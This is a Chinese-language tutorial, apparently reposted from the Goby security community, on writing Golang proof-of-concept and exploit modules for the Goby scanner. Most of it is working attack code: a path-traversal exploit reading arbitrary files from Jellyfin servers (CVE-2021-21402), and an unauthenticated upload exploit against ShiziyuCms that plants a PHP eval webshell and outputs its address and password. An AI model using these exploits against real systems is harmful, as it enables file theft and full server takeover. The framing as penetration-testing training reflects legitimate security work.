技术分享 | 快速上手 Golang 编写 PoC&EXP

admin 2021年10月27日10:12:01安全文章评论312 views16681字阅读55分36秒阅读模式

技术分享 | 快速上手 Golang 编写 PoC&EXP


技术分享 | 快速上手 Golang 编写 PoC&EXP


Goby社区第15 篇技术分享文章

全文共:16653    预计阅读时间:30 分钟


前言:曾经大部分师傅都是使用的是 Goby 的 Json格式编写,Goby 开放 Golang 后, 补充了 Json 格式部分扩展性的不足,这篇文章就简单讲讲 Golang的 EXP/POC 的编写,帮助师傅们快速上手。



技术分享 | 快速上手 Golang 编写 PoC&EXP 01

编写 PoC/EXP 前所需

Golang 语言基础 :

https://www.runoob.com/go/go-tutorial.html

技术分享 | 快速上手 Golang 编写 PoC&EXP

Goby 漏洞编写指南:

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

技术分享 | 快速上手 Golang 编写 PoC&EXP

Goby 漏洞提交专版:

https://mp.weixin.qq.com/s/HGl2tIkpmtVrEjlYQgIl6g

技术分享 | 快速上手 Golang 编写 PoC&EXP


技术分享 | 快速上手 Golang 编写 PoC&EXP 02

PoC 与 Goby POC 的对比

POC 使用 Python 编写

def POC_1(target_url):    vuln_url = target_url + "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",    }    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)        if response.status_code == 200 and "file" in response.text and "extension" in response.text and "font" in response.text:            print("33[32m[o] 目标 {} 存在漏洞(读取 windows/win.ini), 链接为:{} 33[0m".format(target_url, vuln_url))        else:            print("33[31m[x] 目标 {} 不存在漏洞 33[0m".format(target_url))    except Exception as e:        print("33[31m[x] 目标 {} 请求失败 33[0m".format(target_url))

PoC 使用 Goby 框架编写

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {      uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"      cfg := httpclient.NewGetRequestConfig(uri)      cfg.VerifyTls = false      cfg.FollowRedirect = false      cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")      if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {          return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")      }      return false    }

相比之下 Goby 中的验证框架 编写者只需要填入漏洞字段、请求头以及响应判断即可,减少了代码编写量和验证所花费的时间。

最重要的一点则是测试过程中涉及的资产一般是很多的,在不清楚目标指纹的一些情况下,盲目使用 PoC 对多个目标验证是没有很多意义的。

而在Goby 中编写 EXP 则拥有对多个目标的指纹识别以及拥有扩展性的 EXP 编写,可以在多个资产中准确定位漏洞点,减少发现突破点的时间和精力。

技术分享 | 快速上手 Golang 编写 PoC&EXP


技术分享 | 快速上手 Golang 编写 PoC&EXP 03

编写介绍

3.1 漏洞描述字段

这里使用官方的模板简单了解下几个漏洞描述字段的填写。

package exploits
import ( "git.gobies.org/goby/goscanner/goutils")
func init() { expJson := `{ "Name": "", "Description": "", "Product": "", "Homepage": "", "DisclosureDate": "2021-05-27", "Author": "", "FofaQuery": "", "Level": "", "Impact": "", "Recommendation": "", "References": [ "http://fofa.so" ], "HasExp": false, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": null, "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": null, "Support": null, "Service": null, "System": null, "Hardware": null }}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, nil, nil, ))}


名称 含义
Name 漏洞名称,例如: xxx OA xxx.php RCE (需要注意的是整个 EXP 中是不允许出现中文的,以下字段同样)
Description 漏洞描述,例如: The attacker can obtain the sensitive information of the server through directory traversal
Product 漏洞对应产品,例如: xxx OA
Homepage 漏洞对用产品的主页,例如: http://www.xxx.com
DisclosureDate 漏洞披露时间,格式为 yyyy-mm-dd,例如: 2021-05-17
Author PoC & Exp 作者, 例如: PeiQi
GobyQuery 漏洞对应产品的资产查询规则, 例如: app="xxx OA" (这里的指纹并不是FOFA的指纹,而是Goby识别的指纹)
Level 漏洞等级,0 代表低危、1 代表中卫、2 代表高危、3 代表严重
Impact 漏洞产生的影响
Recommendation 漏洞修复建议
References 漏洞参考链接
HasExp 是否录入 Exp,值为 true 或 false (打开EXP模式)
ExpParams Exp 需要传入的参数
ScanSteps JSON 格式定义漏洞 PoC 逻辑
ExploitSteps JSON 格式定义漏洞 Exp 逻辑
Tags 漏洞类型,值为 rce(远程代码执行)、fileread(文件读取)、sqli(SQL 注入)、defaultaccount(默认口令)、infoleak(信息泄露)
CVEIDs CVE 漏洞编号,格式为 ["CVE-2021-0001", "CVE-2021-1000"]
CVSSScore CVSS 漏洞评分
AttackSurfaces 漏洞对应产品的系统层级,如 GitLab 是一个 Web 应用,填到 Application 层;Struts2 是一个 Web 开发框架,填到 Support 层;Tomcat 是 Web 服务程序,填到 Service 层;Ubuntu 是操作系统,填到 System 层;FUJI-XEROX-Printer 是打印机,填到 Hardware 层

其中需要重点填写的参数为:GobyQuery , HasExp, ExpParams

例如 Goby 扫描出的指纹为下图, 则 GobyQuery 填入: ("GobyQuery": "app="kingdee-EAS"")

注: 语句中 " 是需要转义的,即 "
技术分享 | 快速上手 Golang 编写 PoC&EXP
HasEXP 和 ExpParams 则通过后文的例子来了解详细用法。

3.2 goby-cmd.exe 验证

当编写好了 EXP 后,可以使用 goby-cmd.exe 来验证漏洞( golib目录下 )。
主要用于漏洞编写的有四条语句。
# 使用 CVE 编号获取漏洞数据并自动填写到漏洞模板,若没有 CVEID 可省略./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go# 支持通过代理获取漏洞数据./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go -proxy http://127.0.0.1:1080
# 运行已经编写完成的漏洞文件,使用 PoC 扫描./goby-cmd -mode runpoc -operation scan -pocFile exploitsusera.go -target 127.0.0.1# 运行已经编写完成的漏洞文件,执行 Exp 利用,并传递 cmd 参数的值./goby-cmd -mode runpoc -operation exploit -pocFile exploitsusera.go -target 127.0.0.1 -params '{"cmd":"whoami"}'


技术分享 | 快速上手 Golang 编写 PoC&EXP 04

漏洞编写

4.1 任意文件读取漏洞编写

这里使用 Jellyfin 任意文件读取漏洞 (CVE-2021-21402) 来作为一个例子,这里涉及使用 Goby 的一次发包验证漏洞。
由于是 CVE 漏洞,这里可以使用公开的信息填写基本漏洞信息模板。
goby-cmd -mode genpoc -CVEID CVE-2021-21402 -exportFile exploitsuserJellyfin_Audio_File_read_CVE_2021_21402.go
技术分享 | 快速上手 Golang 编写 PoC&EXP
执行后在  exploitsuser 目录中就可以看到生产的 PoC 模板了,生成后还需要填写如下图几个字段完善文件 (FofaQuery不必要,可以不填)。
技术分享 | 快速上手 Golang 编写 PoC&EXP

通过扫描获取目标的 Goby 指纹。

技术分享 | 快速上手 Golang 编写 PoC&EXP
这里指纹没有识别出来,我们需要自定义语句来识别目标 (语句类似于 FOFA,对没有识别出指纹的可以通过 title 或 body 自定义识别)。
"GobyQuery": "title="Jellyfin"",
最终完成的效果为, 这里的 import 为常引用的包, 需要添加进去。
package exploits
import ( "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" "fmt")
func init() { expJson := `{ "Name": "Jellyfin Audio File read (CVE-2021-21402)", "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.", "Product": "Jellyfin", "Homepage": "https://jellyfin.org/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "title="Jellyfin"", "Level": "2",  "Impact""fileread", "Recommendation": "Update patches in time", "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402", "RealReferences": [ "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7", "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1", "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx", "https://nvd.nist.gov/vuln/detail/CVE-2021-21402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402" ], "HasExp": null, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": ["File read"], "CVEIDs": [ "CVE-2021-21402" ], "CVSSScore": "6.5", "AttackSurfaces": { "Application": ["Jellyfin"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
gopoc.ExpManager.AddExploit(gopoc.NewExploit( goutils.GetFileName(), expJson, nil, nil, ))}

接下来需要编写 PoC 字段,首先我们需要知道漏洞的发包逻辑。

这个漏洞我们得知需要的请求为。

GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/

技术分享 | 快速上手 Golang 编写 PoC&EXP

其中 PoC & EXP 主要代码模块模板如下:

ExpManager.AddExploit(NewExploit(    goutils.GetFileName(),    expJson,    func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {      return false    },    func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {      return expResult    },  ))

这里通过已经填写好的 PoC 来了解参数字段。

根据上面的请求包也可以发现 uri 为漏洞请求,而 cfg 则用于 header 头等配置的添加。

func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {      uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"      cfg := httpclient.NewGetRequestConfig(uri)      cfg.VerifyTls = false      cfg.FollowRedirect = false      cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")      if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {            return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")          }          return false    },
名称 含义
uri 请求漏洞点的访问路径
httpclient.NewGetRequestConfig 发送 GET 请求
httpclient.NewPostRequestConfig 发送 POST 请求
cfg.VerifyTls 忽略证书,常用字段
cfg.FollowRedirect 不跟随网页跳转
cfg.Header.Store 添加请求头,如 Content-type 等
cfg.Data POST 请求传输的数据 例如 cfg.Data = "Data"
httpclient.DoHttpRequest(u, cfg) 通过填写的 cfg uri 发送定义的请求
resp.StatusCode 发送请求返回的响应码
resp.Utf8Html 发送请求返回的响应
resp.Heade.Get("Cookie") 获取发送请求返回的响应中的Cookie字段

其中用于判断漏洞是否存在的代码为

return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")
这里的意义为 响应码为 200 且 响应中 包含 win.ini 文件的 [extensions]  和 [fonts] 字符串 则返回 true ,验证为漏洞存在。
goby-cmd.exe -mode runpoc -operation scan -pocFile exploitsuserJellyfin_Audio_File_read_CVE_2021_21402.go -target http://xxx.xxx.xxx.xxx
技术分享 | 快速上手 Golang 编写 PoC&EXP
这里我们已经完成了 PoC 字段已经可以用于目标的扫描并测试出漏洞,但是我们需要开启EXP模块,一方面是通过验证防止误报的情况,另一方面是方便自身对目标进一步渗透,首先需要将 HasExp 设置为 true 就可以开启 Goby 的 EXP 验证模式。
这里通过已经填写好的 EXP 来了解参数字段。
"HasExp": true,"ExpParams": [    {      "name": "File",      "type": "input",      "value": "windows/win.ini"    }],
名称 含义
HasExp 设置为 true 则为开启 EXP模块
"type": "input" 用户手动输出 payload
"type": "select" 用户允许在几个选择中发送特定的payload
"value": "windows/win.ini" EXP验证中的默认字段设置
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {      file := ss.Params["File"].(string)      file = strings.Replace(file, "/", "\", -1)      file = url.QueryEscape(file)      uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/"      cfg := httpclient.NewGetRequestConfig(uri)      cfg.VerifyTls = false      cfg.FollowRedirect = false      cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")      if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {        if resp.StatusCode == 200 {          expResult.Output = resp.Utf8Html          expResult.Success = true        }      }      return expResult},
// 注意一些模块导入时 需要在 import中添加相应的包// "net/url" Url编码// "strings" 字符处理// "fmt" 字符输出// "regexp" 正则匹配
名称 含义
file := ss.Params["File"].(string) 获取 File 参数的字段
file = url.QueryEscape(file) Url 编码字符
fmt.Println(file) 编写中用于调试脚本输出字符,完成后删除
httpclient.DoHttpRequest(expResult.HostInfo, cfg) 发送 EXP 请求包
expResult.Output = resp.Utf8Html 返回响应内容
expResult.Success = true 表示成功验证漏洞
完成后测试,查看目标是否成功执行 EXP 读取 windows/win.ini 文件。

技术分享 | 快速上手 Golang 编写 PoC&EXP

完整的 EXP 如下:

package exploits
import ( "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "net/url" "strings")
func init() { expJson := `{ "Name": "Jellyfin Audio File read (CVE-2021-21402)", "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.", "Product": "Jellyfin", "Homepage": "https://jellyfin.org/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "title="Jellyfin"", "Level": "2",  "Impact""fileread", "Recommendation": "Update patches in time", "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402", "RealReferences": [ "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7", "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1", "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx", "https://nvd.nist.gov/vuln/detail/CVE-2021-21402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402" ], "HasExp": true, "ExpParams": [ { "name": "File", "type": "input", "value": "windows/win.ini" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": ["File read"], "CVEIDs": [ "CVE-2021-21402" ], "CVSSScore": "6.5", "AttackSurfaces": { "Application": ["Jellyfin"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]") } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { file := ss.Params["File"].(string) file = strings.Replace(file, "/", "\", -1) file = url.QueryEscape(file) uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { expResult.Output = resp.Utf8Html expResult.Success = true } } return expResult }, ))}
这里有一小段用于验证 EXP 是否成功, 返回包请求码为 200 则判定为成功,也可以通过 strings.Contains() 包含部分字段添加进一步的判定。
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {        if resp.StatusCode == 200 {          expResult.Output = resp.Utf8Html          expResult.Success = true        }      }
为了进一步确认 EXP 没有问题,我们本地搭建环境使用 EXP 做漏洞验证。

技术分享 | 快速上手 Golang 编写 PoC&EXP

技术分享 | 快速上手 Golang 编写 PoC&EXP

4.2 任意文件上传漏洞编写

这里使用 狮子鱼CMS wxapp.php 任意文件上传漏洞 演示,完整的 EXP 为 (敏感部分已脱敏) :

package exploits
import ( "crypto/md5" "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "regexp" "strings")
func init() { expJson := `{ "Name": "ShiziyuCms wxapp.php File update", "Description": "ShiziyuCms wxapp.php File update,Attackers can upload malicious files without authentication", "Product": "ShiziyuCms", "Homepage": "https://shiziyu.cc/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "body="/seller.php?s=/Public/login"", "Level": "3", "Impact": "File upload", "Recommendation": "Update patches in time", "References": "http://wiki.peiqi.tech/", "RealReferences": [ "http://wiki.peiqi.tech/PeiQi_Wiki" ], "HasExp": true, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": null, "ExploitSteps": null, "Tags": ["File update"], "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": ["ShiziyuCms"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { randomStr := goutils.RandomHexString(8)      uri := "/wxapp.php?controller=[redacted]" cfg := httpclient.NewPostRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSsrnContent-Disposition: form-data; name="[redacted]"; filename="test.php"rnContent-Type: image/gifrnrn<?php echo md5('" + randomStr + "');unlink(__FILE__);?>rn------WebKitFormBoundary8UaANmWAgM4BqBSs-" if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ addr := regexp.MustCompile(`\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] addr = strings.Replace(addr, "\/", "/", -1) cfg_1 := httpclient.NewGetRequestConfig(addr) cfg_1.VerifyTls = false cfg_1.FollowRedirect = false if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fmt.Sprintf("%x", md5.Sum([]byte(randomStr)))) } } } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { randomStr := goutils.RandomHexString(8) uri := "/wxapp.php?controller=[redacted]" cfg := httpclient.NewPostRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSsrnContent-Disposition: form-data; name="[redacted]"; filename="test.php"rnContent-Type: image/gifrnrn<?php @eval($_REQUEST['" + randomStr + "']);?>rn------WebKitFormBoundary8UaANmWAgM4BqBSs-" if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ addr := regexp.MustCompile(`\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] addr = strings.Replace(addr, "\/", "/", -1) expResult.Output = "Webshell Addr: " + expResult.HostInfo.FixedHostInfo + addr + "rnrnWebshell Pass: " + randomStr expResult.Success = true } } return expResult }, ))}

这里注意几个需要注意的代码

名称 含义
randomStr := goutils.RandomHexString(8) 随机生成 8位 字符串
<?php echo md5('" + randomStr + "');unlink(__FILE__);?> 上传输出随机 MD5 值的文件,访问后自动删除
expResult.Output = "xxx" + "xxx" 其中自定义 webshell路径,webshell密码的输出语句

EXP 使用效果如下

技术分享 | 快速上手 Golang 编写 PoC&EXP


技术分享 | 快速上手 Golang 编写 PoC&EXP 05

总结

Goby 中使用 Golang 语言作为漏洞验证,扩展性相对于 Json 扩展性更高,这里只是对于新手而言快速了解 EXP 的写法和请求参数

至于更多的玩法可以参考 Goby 的 WIKI:

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

技术分享 | 快速上手 Golang 编写 PoC&EXP




技术分享 | 快速上手 Golang 编写 PoC&EXP



最新Goby使用技巧分享

• kio | 如何利用Goby将防守单位打出局

• bytesec | 从致远OA-ajax.do漏洞复现到利用

• zzlyzq | 利用Goby发现企业云网络中的安全隐患

• zhzyker | 如何编写合格的 PoC 领取 Goby 红队专版

• HuaiNian | Json 编写 PoC&EXP 遇到的那些坑

更多 >>  打野手册


如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可技术分享 | 快速上手 Golang 编写 PoC&EXP,欢迎投稿到我们公众号,红队专版等着你们~~~


技术分享 | 快速上手 Golang 编写 PoC&EXP

本文始发于微信公众号(GobySec):技术分享 | 快速上手 Golang 编写 PoC&EXP

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日10:12:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  技术分享 | 快速上手 Golang 编写 PoC&EXP https://cn-sec.com/archives/395063.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: